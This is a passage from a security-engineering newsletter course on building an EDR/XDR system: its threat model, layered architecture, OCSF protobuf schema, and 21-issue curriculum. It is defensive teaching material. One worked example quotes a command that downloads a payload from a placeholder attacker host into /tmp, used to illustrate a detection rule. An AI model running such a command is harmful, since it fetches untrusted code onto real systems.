This issue sets the threat model, five-layer architecture, and OCSF-mapped TelemetryEvent wire contract used for every later module. No host agent runs here. Issue 02 introduces the first executable binary.

Scope and terms

Antivirus evaluates files against signatures and heuristics at write or execution time.

EDR (Endpoint Detection and Response) evaluates sequences of behavior: process trees, command lines, file and network activity, plus response actions such as process kill, host isolation, and file quarantine. Living-off-the-land activity (certutil, PowerShell, rundll32) often never drops a distinct malware file, so file-only detection is incomplete. Phases A and B of this course build the OS telemetry EDR requires.

SIEM aggregates logs from multiple point products (firewalls, EDR, identity providers) into a shared query surface.

XDR extends detection and correlation beyond endpoints to network, identity, and container sources so related alerts form one incident. Module 9 implements that layer. Earlier modules produce the telemetry it joins.

MITRE ATT&CK is a public catalog of adversary techniques (for example T1105, Ingress Tool Transfer). From Module 7 onward, detection rules are tagged with the technique they target so Module 14 can report coverage against exercised techniques rather than untested rule tags alone.

The EDR agent itself is part of the threat model. It typically runs with elevated privileges and is a high-value target for disablement or tampering. Tamper resistance is deferred to Module 13; the design implication starts now: assume an attacker who knows the agent is present.

Telemetry, detection, and response

Keep these layers separate while building:

LayerResponsibilityPrimary failure modeTelemetryCollect host and cloud eventsSilence: missing fields make activity invisible downstreamDetectionScore telemetry and raise alertsNoise or blindness: excessive false positives, or missed true positivesResponseChange host state (kill, isolate, quarantine)Unsafe control: a remote action path without sufficient authorization and audit

A missing telemetry field often looks like a detection bug. Confirm collection before tuning rules.

System architecture

The platform data plane has five layers: agents, ingestion, storage, detection and correlation, and dashboard / copilot. Response commands return to agents on a separate control-plane path. Do not model response as only a dashboard button.

The same spine applies to a Linux host, a Kubernetes node, or identity-provider audit logs. Modules 1–6.5 align each source to one vocabulary before deeper detection work.

OCSF as the storage and query model

Custom JSON field names (for example parentProcId) are inexpensive in early modules and costly later. Public Sigma rules still use classic fields such as Image and CommandLine. OCSF does not eliminate conversion; it provides one storage vocabulary for Sigma pipelines, correlation joins, and later investigation tools.

This course normalizes to the Open Cybersecurity Schema Framework (Linux Foundation project since November 2024). Confirm the current release at schema.ocsf.io. This issue was verified against 1.8.0 (March 2026). AWS Security Lake is a clear OCSF-native lake example. Elastic’s primary gravity remains ECS. Vendor agent wire formats are not uniformly OCSF. The project adopts OCSF as the greenfield storage and query model.

Protobuf is the wire format. OCSF is the data model. Classification fields (class_uid, category_uid, activity_id, type_uid, severity_id) belong on the Base Event. The metadata object carries product identity and the OCSF schema version string.

Maintain docs/ocsf-mapping.md as the source of truth. Update that document before extending proto/telemetry.proto when new event classes are added.

Wire contract decisions

Place classification fields at the top level of TelemetryEvent so conversion and query code share one convention.

Model Actor with both process and user. For process Launch, the actor process is typically the parent. A user-only actor object does not match OCSF process activity semantics.

Include process.uid as durable process identity. Operating systems reuse PIDs; lineage and process-tree views require a stable id. Agents populate process.uid beginning in Issue 02.

Start oneof activity at field number 10 so later file and network arms can be added without renumbering. Assigned field numbers are part of the wire contract.

Compute type_uid as class_uid * 100 + activity_id (process Launch → 100701). Downstream tables and rules key on this value.

Store file hashes as a single sha256 string until Module 6 (TIER 2). Leaving process.uid empty while claiming OCSF alignment produces incorrect lineage later; populate the field when agents ship.

Deliverable

Produce the repository scaffold, proto/telemetry.proto mapped to OCSF process_activity, docs/ocsf-mapping.md, and the architecture and mapping diagrams. No host agent executes in this issue.

Completion criteria:

1. protoc --proto_path=proto --python_out=/tmp proto/telemetry.proto completes without errors.

2. You can locate top-level type_uid, severity_id, and Actor.process in the proto without referring to this article.

3. You can redraw the five-layer architecture and state the primary failure mode of each layer.

Labs

1. Install Sysmon on a Windows VM and osquery on any OS. Generate ordinary activity (browser, terminal). Inspect raw event schemas. Do not write project code yet.

2. Open the process_activity class on schema.ocsf.io. Compare fields to Sysmon and osquery output. Note gaps in both directions; do not resolve them yet.

3. Redraw the architecture diagram from memory. Write one sentence per layer describing its role. If any layer is unclear, reread the architecture section before starting Issue 02.

Implementation guide: Foundations, Threat Model & OCSF

Github Link:

https://github.com/sysdr/production-xdr-edr/tree/main/v01-foundations-ocsf

Keep this guide open while building. Design rationale is in the issue article; this document is the step sequence only.

Prerequisites

• git

• protoc (protobuf compiler), v3.21+ recommended

  • macOS: brew install protobuf

  • Linux: apt install -y protobuf-compiler (or distro equivalent)

  • Windows: install from protobuf releases and add to PATH

• A text editor

• No OS-native agent tooling in this issue (starts Issue 02)

Verify:

protoc --version
# libprotoc 3.21.0 or higher

Step 1 — Scaffold the repository

mkdir edr-xdr-from-scratch && cd edr-xdr-from-scratch
git init

mkdir -p agent-windows agent-macos agent-linux agent-k8s \
         backend dashboard detections copilot proto \
         docs/issue-notes docs/implementation-guides docs/diagrams

Verify: tree -L 2 (or ls -R) shows the nine top-level module directories plus docs/ and proto/.

Step 2 — Add the protobuf schema

Create proto/telemetry.proto with TelemetryEvent and related messages. Read every OCSF mapping comment while writing. Field comments are the contract later modules assume.

Requirements:

1. Classification fields are top-level on TelemetryEvent: class_uid (1007), category_uid (1), activity_id, type_uid (class_uid * 100 + activity_id), severity_id. Do not place these only inside metadata.

2. Metadata holds product identity and OCSF schema version (ocsf_version → metadata.version).

3. Actor includes user and process. For Launch, actor process is typically the parent.

4. ProcessActivity.uid provides durable process identity. PID alone is insufficient for lineage.

5. oneof activity currently contains only process_activity at field 10. Later modules add arms without renumbering existing fields.

Verify:

protoc --proto_path=proto --python_out=/tmp proto/telemetry.proto

--python_out is a syntax check only. Module 1 onward uses Rust. No compiler output means success.

Step 3 — Write the OCSF mapping document

Create docs/ocsf-mapping.md before treating the proto as finished. Later modules that add event types edit this file first, then the proto.

Include at minimum:

• Rationale for OCSF (Sigma conversion target, lake/interchange where OCSF is used, shared tool vocabulary)

• Top-level classification and type_uid / severity_id / proper metadata

• Full field mapping table including process.uid and actor.process

• Explicit list of deliberate non-exact mappings (for example flattened sha256)

• Short detection field contract preview for Module 7

Sandbox / CI / Reader VM

StepSandbox / CIReader machineRepo scaffold + markdownFullFullprotoc compileNeeds protobuf in the environmentRequired — Step 2SVG render checkOptional XML well-formednessOpen in browserLive OS agentsN/A this issueStarts Issue 02

Step 4— README and changelog

Write top-level README.md covering repository layout, navigation of docs/issue-notes/, and the honesty label (demoable vertical slice).

Start CHANGELOG.md with one section per issue tag:

## v01-foundations-ocsf
- Repo scaffold
- TelemetryEvent protobuf schema, mapped to OCSF process_activity (class_uid 1007)
- System architecture + OCSF mapping diagrams

Step 6 — Verify the deliverable

Curriculum deliverable: architecture diagram + README + protobuf schema stub with an explicit field-to-OCSF mapping table.

Checklist:

• proto/telemetry.proto compiles with protoc

• Top-level type_uid, severity_id, class_uid, category_uid, activity_id exist on TelemetryEvent

• Metadata carries product + OCSF version; Actor has user + process

• ProcessActivity.uid and ProcessRef.uid exist

• Mapped fields have OCSF attribute comments

• docs/ocsf-mapping.md is complete and uses Sigma-as-conversion wording

• README.md explains repository structure

• You can state the role and primary failure mode of each architecture layer

Common errors

protoc: command not found — install the compiler and restart the shell so PATH updates apply (especially on Windows).

Unexpected field numbers after edits — protobuf field numbers are part of the wire format. Do not renumber existing fields; later issues assume stability.

Nothing runs yet — expected. Issue 01 is architecture and schema only. The first runnable binary is linux-agent in Issue 02.

Next issue

Tag this checkpoint before Issue 02:

git add -A
git commit -m "Issue 01: foundations, threat model, OCSF schema"
git tag v01-foundations-ocsf

Validation note

proto/telemetry.proto should be checked for brace balance and field uniqueness. Full protoc compilation requires a local protobuf install. If compilation fails on a correct install, treat it as a bug report against this issue package.

The Full 21-Issue Curriculum

This is the complete curriculum map for the course — every issue, what it covers, and how it fits into the larger system. Each issue corresponds to a git tag in the companion repo, so you can check out the exact working state described at any point.

Course Description

This course builds a layered EDR/XDR system across 21 issues, the same way real security platforms are architected: agents observe activity on a host, events are normalized into a shared schema, shipped securely, stored, run through detection rules, correlated into incidents, and surfaced to an analyst (human or AI) who can approve a response.

It is a demoable vertical slice — most agent demos run on replay fixtures rather than live kernel hooks, and some components (like the macOS agent) are explicitly scaffolds. The goal is to teach the engineering layering of an EDR/XDR platform honestly, not to ship a production fleet agent.

What You’ll Build

• Agents for Linux (eBPF/Aya), Windows (ETW), macOS (ES scaffold), and Kubernetes

• An OCSF normalization layer that converts OS-specific events into a shared schema (verified against OCSF 1.8.0)

• A buffered, mTLS-secured transport layer for shipping events

• A pipeline (broker → ClickHouse/SQLite) for ingest and storage

• Sigma-as-code detection rules and a behavioral scoring engine

• An XDR correlation engine and ITDR (identity threat detection) rules

• A control-plane response system with approval gating

• A SOC dashboard and an AI copilot with red-team testing

• An anti-tamper watchdog lab and a Helm packaging setup

Overall Architecture

Linux / Windows / macOS / K8s agents
        ↓ (OCSF JSON events)
Buffer (SQLite) + mTLS shipper
        ↓
Ingest → broker (file-backed / Kafka-Redpanda) → ClickHouse/SQLite
        ↓
Detections (Sigma + behavioral) → XDR correlation → ITDR
        ↓
Response (approved actions only)
        ↓
SOC dashboard / AI copilot

The 21-Issue Curriculum

Module 0 — Foundations

Issue 01 — Foundations, Threat Model, OCSF (v01-foundations-ocsf)

• What’s covered: The threat model for the system and an introduction to OCSF (Open Cybersecurity Schema Framework) as the shared event language.

• What you build/work with: The conceptual foundation and schema mapping approach used by every later issue.

• Key concepts: Why a common schema matters when events come from different operating systems.

• Why it matters: Every agent, every detection rule, and every dashboard view depends on this normalized format existing first.

Module 1 — Agents

Issue 02 — Linux Agent (eBPF) (v02-linux-agent-ebpf)

• What’s covered: A Linux agent built with eBPF/Aya that observes process activity, run in --mode replay against fixture files like exec-events.jsonl.

• What you build/work with: Raw kernel-style event capture and conversion into OCSF Process Activity events, including the durable process.uid (boot:pid:start_time) used to link related events.

• Key concepts: eBPF as a kernel-hook mechanism; replay-based lab testing.

• Why it matters: This is the first “eyes on the machine” sensor and the template for how all agents feed the pipeline.

Issue 03 — Windows Agent (ETW) (v03-windows-agent-etw)

• What’s covered: A Windows agent built on ETW (Event Tracing for Windows).

• What you build/work with: OS-specific event capture translated into the same OCSF format used by the Linux agent.

• Key concepts: Cross-platform normalization — different collection mechanism, same output schema.

• Why it matters: Demonstrates that the backend doesn’t need to care which OS an event came from once OCSF is applied.

Issue 04 — macOS Agent (ES Scaffold) (v04-macos-agent-esf)

• What’s covered: A macOS agent scaffold structured around Endpoint Security (ES).

• What you build/work with: The agent’s structural scaffold/mock rather than a fully live ES integration.

• Key concepts: How to design an agent interface even when the underlying OS hook is not fully implemented.

• Why it matters: Completes the three-OS agent story while being honest about what is scaffolded versus fully built.

Module 2 — Transport & Pipeline

Issue 05 — Transport, Buffering, mTLS (v05-transport-mtls)

• What’s covered: The transport layer — a SQLite-backed buffer for offline resilience and mTLS for secure, authenticated shipping.

• What you build/work with: A shipper that batches and sends events over HTTPS with certificate-based identity.

• Key concepts: Buffering against network loss; mutual TLS as agent-to-backend authentication.

• Why it matters: Events are worthless if they’re lost in transit or spoofable — this is the “sealed courier bag” of the system.

Issue 06 — Pipeline: Kafka → ClickHouse (v06-pipeline-clickhouse)

• What’s covered: The backend ingest pipeline — accepting batches, queuing them on a broker (file-backed in labs, Redpanda/Kafka in the fuller setup), and flattening OCSF into stored rows.

• What you build/work with: Ingest → broker → consumer → storage (SQLite in demos, ClickHouse for analytics).

• Key concepts: Queue-based decoupling of ingest from storage; flattening structured events into analyzable rows.

• Why it matters: This is the receive-queue-store backbone every later detection and correlation issue reads from.

Module 3 — Telemetry Depth

Issue 07 — File Telemetry (v07-file-telemetry)

• What’s covered: File-related event capture and OCSF mapping.

• What you build/work with: File write/create events flowing through the same agent-to-pipeline path.

• Key concepts: Extending an OCSF event category beyond process activity.

• Why it matters: File events are core evidence in the “curl → /tmp” style detection pattern used later.

Issue 08 — Network Telemetry (v08-network-telemetry)

• What’s covered: Network connection event capture and normalization.

• What you build/work with: Network activity events joined to the same process context via process.uid.

• Key concepts: Linking network activity to the process that initiated it.

• Why it matters: Enables detections and correlation that combine “what ran” with “what it connected to.”

Issue 09 — Persistence Telemetry & Coverage Matrix (v09-persistence-telemetry)

• What’s covered: Persistence-mechanism telemetry (how attackers stay resident on a system) plus a coverage matrix documenting what is and isn’t observed.

• What you build/work with: Additional event types and a matrix tracking detection coverage across the system.

• Key concepts: Persistence as an attacker technique category; the value of tracking telemetry coverage explicitly.

• Why it matters: Establishes an honest record of what the system can and cannot see — important for both engineering and later capstone reporting.

Issue 10 — Kubernetes / Container Telemetry (v10-k8s-ebpf-agent)

• What’s covered: A Kubernetes agent producing container-enriched events.

• What you build/work with: Container context added to the same OCSF event pipeline used by the OS agents.

• Key concepts: Extending endpoint visibility into containerized workloads.

• Why it matters: Real environments aren’t just laptops — this brings container visibility into the same pipeline.

Module 4 — Detection

Issue 11 — Sigma-as-Code Detection Engine (v11-sigma-detection-engine)

• What’s covered: A detection engine built around Sigma-as-code rules (YAML-based rules such as proc_curl_tmp.yml, which alerts when a process named curl runs with /tmp in the command line).

• What you build/work with: A rule-matching engine that treats Sigma as a conversion story — rules mapped against OCSF fields.

• Key concepts: Declarative detection logic; rule-to-schema mapping.

• Why it matters: This is the first “rules that shout” layer — the system’s first line of automated suspicion.

Issue 12 — Behavioral Detection (v12-behavioral-detection)

• What’s covered: Behavioral scoring (behavioral_score.py) that fuses multiple weak signals into a stronger signal.

• What you build/work with: A scoring mechanism that goes beyond single-rule matches.

• Key concepts: Signal fusion versus single-rule alerting.

• Why it matters: Real attacker behavior is rarely caught by one rule alone — this teaches combining weak evidence.

Module 5 — XDR Correlation & Identity

Issue 13 — XDR Correlation (v13-xdr-correlation)

• What’s covered: Correlation logic (backend/correlation) that links host, user, IP, and file-hash signals into a single incident.

• What you build/work with: The engine that promotes related alerts into one incident record.

• Key concepts: This is the practical definition of “X” in XDR — connecting clues across entities rather than viewing alerts in isolation.

• Why it matters: Without correlation, an analyst sees a pile of disconnected alerts instead of one attack story.

Issue 14 — ITDR (Identity Threat Detection) (v14-itdr)

• What’s covered: Identity-based detection rules, such as impossible-travel logins.

• What you build/work with: Identity signals feeding into the same correlation pipeline.

• Key concepts: Identity as a first-class telemetry source alongside host and process data.

• Why it matters: Modern attacks frequently involve compromised credentials, not just malware — this extends detection beyond the endpoint.

Module 6 — Response

Issue 15 — Response Actions (v15-response-actions)

• What’s covered: A control-plane response system (backend/response) supporting actions like KillProcess, QuarantineFile, and IsolateHost.

• What you build/work with: A response mechanism that strictly separates the data plane (seeing events) from the control plane (taking action), per ADR 001 — actions only execute with an explicit --approved flag and are audited to audit.jsonl.

• Key concepts: Data plane / control plane separation; approval-gated automation; audit logging.

• Why it matters: No silent auto-response — this models a safe, deliberate action system rather than an autonomous one.

Module 7 — Analyst Experience

Issue 16 — SOC Dashboard (v16-soc-dashboard)

• What’s covered: A static SOC UI showing alerts, hosts, and process trees.

• What you build/work with: The analyst-facing view of everything built in prior issues — alerts, entities, and process ancestry.

• Key concepts: Turning backend data into an investigable interface.

• Why it matters: Detection and correlation are only useful if an analyst can actually see and act on them.

Issue 17 — AI Copilot (v17-ai-copilot)

• What’s covered: An AI copilot that can propose actions (with citations) based on alert data.

• What you build/work with: Constrained AI tooling layered on top of the dashboard and backend data.

• Key concepts: AI-assisted investigation with proposal-only behavior — the copilot suggests, it doesn’t auto-fire.

• Why it matters: Reflects how AI is realistically integrated into a SOC workflow — as an assistant, not an autonomous actor.

Issue 18 — Copilot Red-Team Testing (v18-copilot-redteam)

• What’s covered: Red-team/injection testing against the AI copilot.

• What you build/work with: Test cases probing the copilot’s constrained tool boundaries.

• Key concepts: Adversarial testing of AI tooling, including prompt-injection resistance.

• Why it matters: An AI system with tool access needs to be tested against manipulation, not just functionality.

Module 8 — Hardening & Capstone

Issue 19 — Evasion & Anti-Tamper (v19-evasion-antitamper)

• What’s covered: A watchdog/health-check lab for anti-tamper concepts.

• What you build/work with: Basic mechanisms for detecting agent tampering or evasion attempts.

• Key concepts: Why endpoint agents themselves need to be resistant to interference.

• Why it matters: An EDR agent that can be silently disabled by an attacker isn’t providing real protection.

Issue 20 — Capstone Hardening / Packaging (v20-capstone-hardening)

• What’s covered: Packaging the stack with a Helm chart (deploy/helm/edrxdr/).

• What you build/work with: A Helm chart skeleton to deploy the backend-ish stack.

• Key concepts: Packaging a multi-component system for deployment.

• Why it matters: Moves the project from “a set of scripts” toward something deployable as a unit.

Issue 21 — Capstone Red-Team & Coverage Report (v21-capstone-redteam-final)

• What’s covered: A final red-team pass and a coverage report summarizing what the system detects and where its gaps are.

• What you build/work with: An end-to-end validation exercise against the full system built across all 21 issues.

• Key concepts: Coverage assessment as an honest closing exercise, not a claim of completeness.

• Why it matters: Ties the entire course together by testing the system you built against realistic attacker behavior — and documenting its limits.

How the Pieces Connect

The end-to-end story taught across all 21 issues is: see → normalize → ship → store → detect → connect → act → review.

A concrete example: a host runs curl https://evil.example/payload.sh -o /tmp/payload.sh. The Linux agent (or its replay fixture) observes the process launch, converts it to an OCSF Process Activity event, and ships it over the buffered mTLS transport into the ingest pipeline. A Sigma rule (ocsf-proc-curl-tmp) matches and fires a medium alert. If related signals appear — an unusual network connection, an anomalous login — the correlation engine promotes these into a single incident. The dashboard shows the process tree, the copilot proposes an action, and an operator runs an approved response command, which is written to the audit log.

Every issue in the curriculum is one link in that chain.

What You’ll Learn

• How OCSF normalization allows heterogeneous event sources to be treated uniformly

• eBPF, ETW, and Endpoint Security concepts as OS-level observation mechanisms

• Secure telemetry transport using buffering and mTLS

• Ingest pipeline design with broker-based queuing and analytical storage (ClickHouse)

• Writing and reasoning about Sigma-as-code detection rules

• Behavioral signal fusion versus single-rule detection

• XDR correlation logic that links host, user, IP, and hash into incidents

• Identity-based detection (ITDR) concepts like impossible travel

• Data-plane/control-plane separation and approval-gated response design

• Building an analyst-facing SOC dashboard

• Integrating an AI copilot safely, including red-team testing of AI tooling

• Anti-tamper considerations for endpoint agents

• Packaging a multi-service security stack with Helm

Important Note

This course produces a demoable vertical slice, not a commercial security product. Several components are explicitly scaffolds or labs — the macOS agent is built around an ES scaffold, most agent demos run in replay mode against fixture files rather than live kernel hooks, and the broker/storage layer runs in a simplified, file-backed or SQLite form in labs. This is not a claim that completing these 21 issues produces a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. The purpose is to teach the real architectural layering these platforms use, honestly and at a scope that’s actually learnable.

Conclusion

By the end of Issue 21, you will have built — layer by layer — a working vertical slice of an EDR/XDR system: agents that observe activity, a shared schema that normalizes it, a secure pipeline that moves and stores it, detection and correlation logic that turns raw events into incidents, and a response and analyst layer that lets a human (with AI assistance) act on what the system finds. You won’t have built a commercial product — but you’ll understand, from the inside, how one is actually put together.

A 21-issue engineering course on how modern security platforms are actually built — one layer at a time.

If you’ve ever wondered what’s really happening inside tools like CrowdStrike, SentinelOne, or Elastic Security when they detect an attacker on a laptop, this course is for you. Over 21 newsletter issues, we build a working — if intentionally simplified — EDR/XDR system from the ground up, so you understand the engineering, not just the marketing.

What EDR Actually Means

EDR (Endpoint Detection and Response) is software that watches a single machine closely: what processes start, what files get written, what network connections open. Think of it as a very attentive security camera pointed at one computer.

What XDR Actually Means

XDR (Extended Detection and Response) takes that idea further — it connects clues from many sources (different hosts, user identities, containers) into a single incident story. Instead of “curl ran on laptop-01,” XDR asks: “does this connect to that weird login and that unusual outbound connection on another host?”

What You’ll Actually Build

You’ll build a layered pipeline that mirrors how real EDR/XDR platforms are structured:

• Agents for Linux, Windows, macOS, and Kubernetes that observe activity on a host

• A common event format (OCSF) that normalizes what each OS reports into one shared language

• A secure transport layer that buffers events and ships them with mutual TLS

• An ingest and storage pipeline that queues and persists events

• Detection rules (Sigma-as-code) and behavioral scoring that flag suspicious patterns

• Correlation logic that stitches related alerts into a single incident (the “X” in XDR)

• A SOC dashboard and an AI copilot that help an analyst investigate

• A response layer that can take action — but only with explicit approval

The Architecture, In Plain Terms

Agents (Linux/Windows/macOS/K8s)
        ↓  (convert to OCSF JSON)
Secure transport (buffer + mTLS)
        ↓
Ingest → broker → storage
        ↓
Detections → correlation
        ↓
Dashboard / AI copilot → response (approved actions only)

Each arrow in that diagram is its own set of issues in the course.

The Technologies You’ll Work With

• eBPF (via Aya) for the Linux agent, ETW for Windows, and an Endpoint Security scaffold for macOS

• OCSF (Open Cybersecurity Schema Framework) — the shared event schema, verified against the real 1.8.0 spec — so a process launch on Linux and one on Windows look the same to the backend

• mTLS and SQLite-based buffering in the transport layer, so events aren’t lost if the network drops

• Kafka-style broker → ClickHouse/SQLite pipeline for ingest and storage

• Sigma-as-code detection rules plus a behavioral scoring engine and identity-based detection (ITDR) for things like impossible-travel logins

• A correlation engine that links host, user, IP, and file-hash signals into one incident

• A control-plane response system (kill process, quarantine file, isolate host) that is deliberately separated from the data plane and requires an explicit --approved flag — no silent auto-isolation

• A SOC dashboard and an AI copilot with constrained tools and red-team testing built in

• A Helm chart for packaging the stack

What Makes This Different

Most security courses either stay theoretical or hand you a black-box product to click around in. This course does neither:

• You build every layer yourself, from raw kernel events to the final incident view.

• Labs run on replay fixtures (recorded event files) rather than requiring live kernel access on your machine, so you can follow along without special hardware or risky live hooking.

• Design decisions are documented, including the ADR that separates “seeing” (data plane) from “acting” (control plane) — a real architectural principle used in production security systems.

• Detection is taught as a conversion story, not a magic black box — you’ll see exactly how a raw event becomes an OCSF record becomes a matched rule becomes a correlated incident.

How the 21 Issues Progress

The course moves in a deliberate build order, roughly following the attack lifecycle a real analyst deals with:

1. Foundations — threat model and the OCSF schema you’ll normalize everything into

2. Agents — Linux (eBPF), Windows (ETW), and macOS, one platform at a time

3. Transport and pipeline — buffering, mTLS, and getting events into storage (Kafka → ClickHouse)

4. Telemetry depth — file, network, and persistence events, plus Kubernetes/container support

5. Detection — Sigma-as-code rules and behavioral detection

6. XDR correlation and identity — stitching alerts into incidents, including identity-based detection

7. Response — approved, auditable actions like isolating a host

8. Dashboard and AI copilot — the analyst-facing layer, including red-team testing of the copilot itself

9. Hardening and capstone — anti-tamper concepts, packaging with Helm, and a final coverage report

Each issue corresponds to a specific git tag in the companion repo, so you can check out exactly the working state that issue describes and follow along in real code.

An Honest Note

This is a demoable vertical slice, not a commercial product. It is not a claim that these labs produce a shipping fleet agent equivalent to CrowdStrike, SentinelOne, or Elastic. Most demos run against replay fixtures rather than live kernel hooks, and the goal is to teach you how these systems are layered and why, using honest labs and clearly scoped stubs — not to hand you an enterprise security platform.

Start Building

The full architecture only makes sense once you’ve laid the foundation. Issue 01 — Foundations, Threat Model, and OCSF is where it begins.

If you’ve ever wanted to understand security tooling from the inside out — not as a user, but as the engineer who built it — start there.